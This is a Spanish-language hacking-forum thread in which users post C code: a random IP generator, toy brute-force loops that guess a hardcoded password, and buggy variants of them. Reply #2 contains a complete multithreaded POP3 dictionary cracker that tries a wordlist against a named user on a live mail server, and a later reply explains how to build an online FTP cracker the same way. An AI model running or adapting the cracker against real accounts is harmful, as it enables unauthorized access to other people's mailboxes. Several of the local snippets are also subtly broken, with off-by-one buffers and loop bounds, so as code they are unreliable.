elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
13 Febrero 2012, 13:56  

+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse)
| | |-+  Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)  (Leído 15,558 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)
« en: 22 Septiembre 2004, 03:32 »

Generador de IPs aleatorias:

http://foro.elhacker.net/index.php/topic,17165.0.html

Código:
#include <iostream.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
 unsigned int ip[4];
 printf("Generador de IPs aleatorias de 4 octetos por Rojodos\n\n");
 int i = 0;
 srand( (unsigned)time( NULL ) );
 while ( i < 4){
   ip[i] = rand()%255;
   i++;
 }
 printf ("IP generada: %d.%d.%d.%d\n", ip[0], ip[1],ip[2],ip[3]);
 return 0;
}

Algoritmo basico de Brute Force en C:

http://foro.elhacker.net/index.php/topic,17473.0.html

Código:
/* Algoritmo de Brute Force Basico en C
Original en Java: CrashCool
http://hackxcrack.com/phpBB2/viewtopic.php?t=7994
Convertido en C por Rojodos
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

int compara (char *cadena_a_chekear){
   char pass[] = {'9','1','1','o','o','o','\0'}; // 911ooo -> Password a Sacar
   return strcmp (cadena_a_chekear, pass);
   }


int main (){
   printf ("Algoritmo basico de Brute Force\n");
   printf ("Original en Java por CrashCool\n");
   printf ("Convertido en C por Rojodos\n");
   printf ("El programa trata de encontrar '911ooo' secuencialmente\n");
   printf ("Se puede cambiar en el Codigo Fuente\n");
   char Base[] = {'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
   int longitud = 36;
   char cadena[6];
   char pass;
   unsigned long int claves = 0;
   clock_t reloj, reloj2;
   float tiempo;
   int i,j,k,l,m,n;
   // Iniciamos Brute Force
   printf ("Iniciando Brute Force\n");
   reloj = clock();
   for (i = 0; i < longitud; i++){
       cadena[0] = Base[i];         
     for (j = 0; j < longitud; j++){
        cadena[1] = Base[j];
        for (k = 0; k < longitud; k++){
           cadena[2] = Base[k];
           for (l = 0; l < longitud; l++){
           cadena[3] = Base[l];
              for (m = 0; m < longitud; m++){
                 cadena[4] = Base[m];
                 for (n = 0; n < longitud; n++){
                    cadena[5] = Base[n];
    cadena[6]='\0';
    claves ++;
    // Chequeemos...
    if ( compara (cadena) == 0){
         reloj2 = clock();
         tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC;
         printf ("Password encontrado!\n\n");
         printf ("Clave = %s\n", cadena);
         printf ("Tiempo transcurrido = %f segundos\n", tiempo);
         printf ("Claves Generadas = %d\n", claves);
         exit(0);
         }
         }
         }
         }
         }
         }
    }     
    return 0;
}


« Última modificación: 22 Septiembre 2004, 03:34 por Rojodos » En línea

ELPOCHO

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #1 en: 3 Enero 2005, 20:04 »

hay un problema con tu función de ip aleatoria... el módulo está mal implementado, acá tenés uno correcto:

Código:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void) {
    srand(time(NULL));
    printf("%d.%d.%d.%d\n", rand()%256, rand()%256, rand()%256, rand()%256);
    return 0;
}

y para lo otro... mejor hacer una función recursiva...
igual te digo que hacer un crackeo por fuerza bruta o diccionario a través de un sólo proceso  no es para nada recomendado... usa multiprocesamiento con fork... o mejor, si te animás, pthreads es la mejor opción

bueno chau


« Última modificación: 4 Enero 2005, 13:09 por ELPOCHO » En línea
ELPOCHO

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #2 en: 4 Enero 2005, 13:11 »

mirá este crackeador de POP3 por diccionario...

Código:
#include <stdio.h>
#include <pthread.h>
#include <netdb.h>
   
#define NPT     60
#define BUFF    128
#define PORT    110

pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER;
pthread_t thrd[NPT];
struct sockaddr_in addr;
FILE *fp;
char user[BUFF];
long int count = 0;

void cleanup(void) {
    fclose(fp);
    pthread_mutex_destroy(&mut);
    exit(0);
}   
       
void popc(char *pass) {
    char buff[BUFF];
    int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0)
        popc(pass);

    recv(sock, buff, BUFF, 0);
    memset(buff, 0, BUFF);

    send(sock, user, strlen(user), 0);
    recv(sock, buff, BUFF, 0);
    memset(buff, 0, BUFF);

    send(sock, pass, strlen(pass), 0);
    recv(sock, buff, BUFF, 0);

    close(sock);
    if(buff[0] == '+') {
        printf("\n%s", pass);
        cleanup();
    }

    pthread_mutex_lock(&mut);
    count++;
    pthread_mutex_unlock(&mut);
       
    printf("\rTRY %ld", count);
    fflush(stdout);
}   

void task(void) {
    char *c, buff[BUFF], pass[BUFF];
   
    while(1) {
        pthread_mutex_lock(&mut);
        if(fgets(buff, BUFF, fp) == NULL) {
            pthread_mutex_unlock(&mut);
            break;
        }
        pthread_mutex_unlock(&mut);
       
        if((c=strchr(buff, '\n')) != NULL)
            *c = '\0';
        sprintf(pass, "PASS %s\n", buff);
        popc(pass);
        memset(buff, 0, BUFF);
    }

    pthread_exit((void *)0);
}

int main(int argc, char *argv[]) {
    int i;
    struct hostent *hp;

    if(argc != 4) {
        printf("incorrect number of arguments, run as: %s domain user wordlist\n", argv[0]);
        return 1;
    }
    if((hp=gethostbyname(argv[1])) == NULL) {
        printf("host not found\n");
        return 1;
    }
    if((fp=fopen(argv[3], "r")) == NULL) {
        printf("cannot open wordlist\n");
        return 1;
    }

    addr.sin_family = AF_INET;
    memcpy(&addr.sin_addr, hp->h_addr, hp->h_length);
    addr.sin_port = htons(PORT);

    sprintf(user, "USER %s\n", argv[2]);
   
    pthread_mutex_init(&mut, NULL);
   
    for(i=0; i<NPT; i++)
        pthread_create(&thrd[i], NULL, (void *)task, NULL);
    for(i=0; i<NPT; i++)
        pthread_join(thrd[i], NULL);
    printf("\nPASS not found\n");
    cleanup();
}       
« Última modificación: 4 Enero 2005, 13:14 por ELPOCHO » En línea
N3wBy3

Desconectado Desconectado

Mensajes: 24


Soy Colombiano y que?


Ver Perfil
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)
« Respuesta #3 en: 16 Junio 2005, 22:37 »

Exelente Kodigo, es muy util 8)
En línea

En la Noche de los tiempos de tu oscuridad , he regresado a buscar un don para la humanidad. porke pronunias mi nombre, aunke ya sabes kien  de tu soberbia y tu odio el reflejo alimentado soy.
Soy el eko de tu ira el espejo en Ti, tu avaricia se refleja y me da poder. Fluyo atravez de las vidas, que no konsiguen saber donde encontrar la salida que abre las puertas del mal y del bien ....
Diabliyo


Desconectado Desconectado

Mensajes: 1.251


M.S.I Angel Cantu


Ver Perfil WWW
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #4 en: 12 Octubre 2005, 23:57 »

Algoritmo basico de Brute Force en C:

http://foro.elhacker.net/index.php/topic,17473.0.html

Código:
/* Algoritmo de Brute Force Basico en C
Original en Java: CrashCool
http://hackxcrack.com/phpBB2/viewtopic.php?t=7994
Convertido en C por Rojodos
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

int compara (char *cadena_a_chekear){
   char pass[] = {'9','1','1','o','o','o','\0'}; // 911ooo -> Password a Sacar
   return strcmp (cadena_a_chekear, pass);
   }


int main (){
   printf ("Algoritmo basico de Brute Force\n");
   printf ("Original en Java por CrashCool\n");
   printf ("Convertido en C por Rojodos\n");
   printf ("El programa trata de encontrar '911ooo' secuencialmente\n");
   printf ("Se puede cambiar en el Codigo Fuente\n");
   char Base[] = {'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
   int longitud = 36;
   char cadena[6];
   char pass;
   unsigned long int claves = 0;
   clock_t reloj, reloj2;
   float tiempo;
   int i,j,k,l,m,n;
   // Iniciamos Brute Force
   printf ("Iniciando Brute Force\n");
   reloj = clock();
   for (i = 0; i < longitud; i++){
       cadena[0] = Base[i];         
     for (j = 0; j < longitud; j++){
        cadena[1] = Base[j];
        for (k = 0; k < longitud; k++){
           cadena[2] = Base[k];
           for (l = 0; l < longitud; l++){
           cadena[3] = Base[l];
              for (m = 0; m < longitud; m++){
                 cadena[4] = Base[m];
                 for (n = 0; n < longitud; n++){
                    cadena[5] = Base[n];
    cadena[6]='\0';
    claves ++;
    // Chequeemos...
    if ( compara (cadena) == 0){
         reloj2 = clock();
         tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC;
         printf ("Password encontrado!\n\n");
         printf ("Clave = %s\n", cadena);
         printf ("Tiempo transcurrido = %f segundos\n", tiempo);
         printf ("Claves Generadas = %d\n", claves);
         exit(0);
         }
         }
         }
         }
         }
         }
    }     
    return 0;
}


Hola:

Pienso que este codigo no es muy eficiente y bueno, ya que si le paso un "password" de 4 letras, pues jamas lo sacara :S.... Ademas, segun el codigo, este codigo solo busca passwords de 5 letras, pero que sean diferentes de 000000.... osea, si mi password es: 000000 ... aun asi siendo de 6 caracteres, jama slo encontrara !!!....

Ya que si se fijan bien.... al iniciar los FOR()s, inicializa la variable cadena[]={ '1', '1', '1', '1', '1', '1', '\0 }; a.... Y de aqui parte haciendo un sin fin de combinaciones saltando de numero de numero !!....

Espero y me entiendan !!!

byeee
« Última modificación: 13 Octubre 2005, 00:01 por Diabliyo » En línea

Diabliyo


Desconectado Desconectado

Mensajes: 1.251


M.S.I Angel Cantu


Ver Perfil WWW
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #5 en: 14 Octubre 2005, 02:54 »

Hola:

Aqui els dejo el enlace a mi Bruteforcing en C... rompe passwords de 1 a 6 caracteres :D....

http://foro.elhacker.net/index.php/topic,90352.0.html

byeee
En línea

vampyryc

Desconectado Desconectado

Mensajes: 44


Ver Perfil
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)
« Respuesta #6 en: 13 Enero 2006, 18:16 »

wenas, esto como se utiliza... los brute force estos
En línea
Kanny

Desconectado Desconectado

Mensajes: 45


No hay camino hacia la libertad.... la libertad es


Ver Perfil
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)
« Respuesta #7 en: 13 Febrero 2006, 01:03 »

 
Wenas!!

Perdonad mi ignorancia.. pero al igual que vampyryc... ¿¿como se usan??   :huh: mas que nada lo digo porque tienes que introducir tu el codigo a rebentar no? asi que.. realmente ... qué utilidad tienen??

como ya he dicho.. perdonad pero no he usado nunca una "herramienta" asi..

Un saludo!!   Agur!!
En línea
Diabliyo


Desconectado Desconectado

Mensajes: 1.251


M.S.I Angel Cantu


Ver Perfil WWW
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #8 en: 13 Febrero 2006, 22:52 »

Hola:

Pues un programa como estos sirve para reventar un codigo, osea, descifrar la PALABRA CLAVE, CODIGO o lo que sea...

El chiste es que estos codigos, son solo para saber COMO Obtener el password o palabra coerrecta.... y la FORMA DE APLICARLO va con la creatividad que tenga cada uno.... Vaya, lo que ven aqui es solo un ALGORITMO para saber como obtener un password, ustedes mismos deben disenar la aplicacion que contendra este Pedazo de Codigo...

Ejemplo:

Un crackeador FTP en Linea
Hablando teoricamente, los FTP se manejan por una serie de comandos ( osea protocolos ) que nos dicen ALGO.... tons aqui solo disenamos un programa que pueda comunicarse con un FTP. Pero como bien se sabe, todos los FTP requieren AUTENTIFICACION ( user y pass ), he aqui donde entra el pedazo de codigo que ven ustedes :d.

Osea, no es nadamas de TOMAR este algoritmo y ya.... sino ahi que hacer una aplicacion que interactue con ALGO... UN FTP, WINDOWS, etc.... y despues la LOGICA para obtener el password, es el PEDAZO DE CODIGO este :D

byee
En línea

Kanny

Desconectado Desconectado

Mensajes: 45


No hay camino hacia la libertad.... la libertad es


Ver Perfil
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #9 en: 13 Febrero 2006, 23:39 »


Osea, no es nadamas de TOMAR este algoritmo y ya.... sino ahi que hacer una aplicacion que interactue con ALGO... UN FTP, WINDOWS, etc.... y despues la LOGICA para obtener el password, es el PEDAZO DE CODIGO este :D

byee

Gracias diabliyo!!
No se me habia ocurrido!! :) me pondre a hacer algunas pruebas!

Gracias!
En línea
H@T


Desconectado Desconectado

Mensajes: 540



Ver Perfil WWW
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)
« Respuesta #10 en: 23 Abril 2006, 21:15 »

Rodojos esta bueno tu codigo para generar ips, es mas es sencillo pero yo le estoy haciendo modificaciones para que devuelva varias direcciones Ip's y utilizarlo para pinguearlas...

Pero tengo una duda que porai alguien me puede ayudar, cuando el programa me genera un ip quiero utilizar system("ping ip"), pero el problema es que no se como hacerlo..

Que deberia poner la ip en una variable o recomiendan de otra forma?

Gracias
Bye
En línea

H@T
http://www.redes-seguridad.com.ar
redes-seguridad.blogspot.com/
Diabliyo


Desconectado Desconectado

Mensajes: 1.251


M.S.I Angel Cantu


Ver Perfil WWW
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #11 en: 25 Abril 2006, 22:06 »

Rodojos esta bueno tu codigo para generar ips, es mas es sencillo pero yo le estoy haciendo modificaciones para que devuelva varias direcciones Ip's y utilizarlo para pinguearlas...

Pero tengo una duda que porai alguien me puede ayudar, cuando el programa me genera un ip quiero utilizar system("ping ip"), pero el problema es que no se como hacerlo..

Que deberia poner la ip en una variable o recomiendan de otra forma?

Gracias
Bye

Utilizar system(); de esa forma, es la incorrecta....

Utiliza otra funcion.... cual ??... pues en Linux utilizo exec() o execv(), nose si estedisponible esta funcion para windows !!

Pero para un mejor uso, es mejor realizar un socket, y hacerle ping desde tu sockets ( osea intentar conectarte )...

byeee
En línea

pkzz

Desconectado Desconectado

Mensajes: 20


Ver Perfil
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente en C)
« Respuesta #12 en: 20 Mayo 2007, 19:24 »

Aca va un cambio para que pueda encontrar claves de 1 a 6 caracteres


Código:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

#define pass "root"
clock_t reloj,reloj2;
unsigned long int claves;
int mostrar()
{
    float tiempo;
    tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC;
    printf("Clave encontrada \n");
    printf("Tiempo: %f\n",tiempo);
    printf("Claves usadas %ld",claves);
    exit(0);
    return 0;
}
int compara(char *cadena_a_comparar)
{
    return strcmp(cadena_a_comparar,pass);
}

int main()
{
    char base[]={'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e',
     'f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x',
     'y','z'};
     
     int longitud=sizeof(base);
     char passwd[6];
     int k,h,g,f,d,s;
     claves=0;
     reloj=clock();
     passwd[1]='\0';
     for (k=0;k<=longitud;k++)
     {
         passwd[0]=base[k];
         claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
     passwd[2]='\0';
     for (k=0;k<=longitud;k++){
     passwd[0]=base[k];
        for (h=0;h<=longitud;h++){
        passwd[1]=base[h];
        claves++;
        if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
     passwd[3]='\0';
     for (k=0;k<=longitud;k++){
     passwd[0]=base[k];
         for (h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for (g=0;g<=longitud;g++){
             passwd[2]=base[g];
             claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
     passwd[4]='\0';
     for(k=0;k<=longitud;k++){
         passwd[0]=base[k];
         for(h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for(g=0;g<=longitud;g++){
         passwd[2]=base[g];
         for(f=0;f<=longitud;f++){
         passwd[3]=base[f];
         claves++;
          if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
                                 }
      passwd[5]='\0';
     for(k=0;k<=longitud;k++){
         passwd[0]=base[k];
         for(h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for(g=0;g<=longitud;g++){
         passwd[2]=base[g];
         for(f=0;f<=longitud;f++){
         passwd[3]=base[f];
         for(d=0;d<=longitud;d++){
         passwd[4]=base[d];
         claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
                                 }
                                 }
     passwd[6]='\0';
     for(k=0;k<=longitud;k++){
         passwd[0]=base[k];
         for(h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for(g=0;g<=longitud;g++){
         passwd[2]=base[g];
         for(f=0;f<=longitud;f++){
         passwd[3]=base[f];
         for(d=0;d<=longitud;d++){
         passwd[4]=base[d];
         for(s=0;s<=longitud;s++){
         passwd[5]=base[s];
         claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
                                 }
                                 }
                                 }   
         
         
     return 0;
     }
     
           
     
En línea
alvk4r

Desconectado Desconectado

Mensajes: 93


Casi...


Ver Perfil WWW
Re: Generador de IPs aleatorias y algoritmo basico Brute Force (codigos fuente e
« Respuesta #13 en: 12 Junio 2007, 16:30 »

Este algoritmo (brute-force) viene matematicament explicado en el libro:
Data Structures and Algorithms
with Object-Oriented Design Patterns in C++

en el capitulo Brute-Force Algorithm

Como no se como postear esas formulas, no puedo hacer una transcripcion, aunque me hubiese gustado... acompa~andolas con una explicacion bastante "digerible" que elabore hace unos meses en ocasion de impartir una clase sobre el tema.

La comprension de los algoritmos "en bruto", y el metodo de estos es super importante a la hora de desarrollar nuestros propios programas que los implementen... Ademas nos permite ajustar nuestro codigo, buscando la forma de aumentar el rendimiento del programa al maximo.
En línea

El poder corrompe, el poder absoluto corrompe absolutamente.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[ANSI C]Codigo fuente del generador de mysql inyection.
Programación C/C++
volteo0101 0 1,370 Último mensaje 28 Febrero 2011, 15:12
por volteo0101
Descifrar algoritmo de códigos.
Criptografía
NikNitro! 3 1,677 Último mensaje 30 Mayo 2011, 19:35
por APOKLIPTICO
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines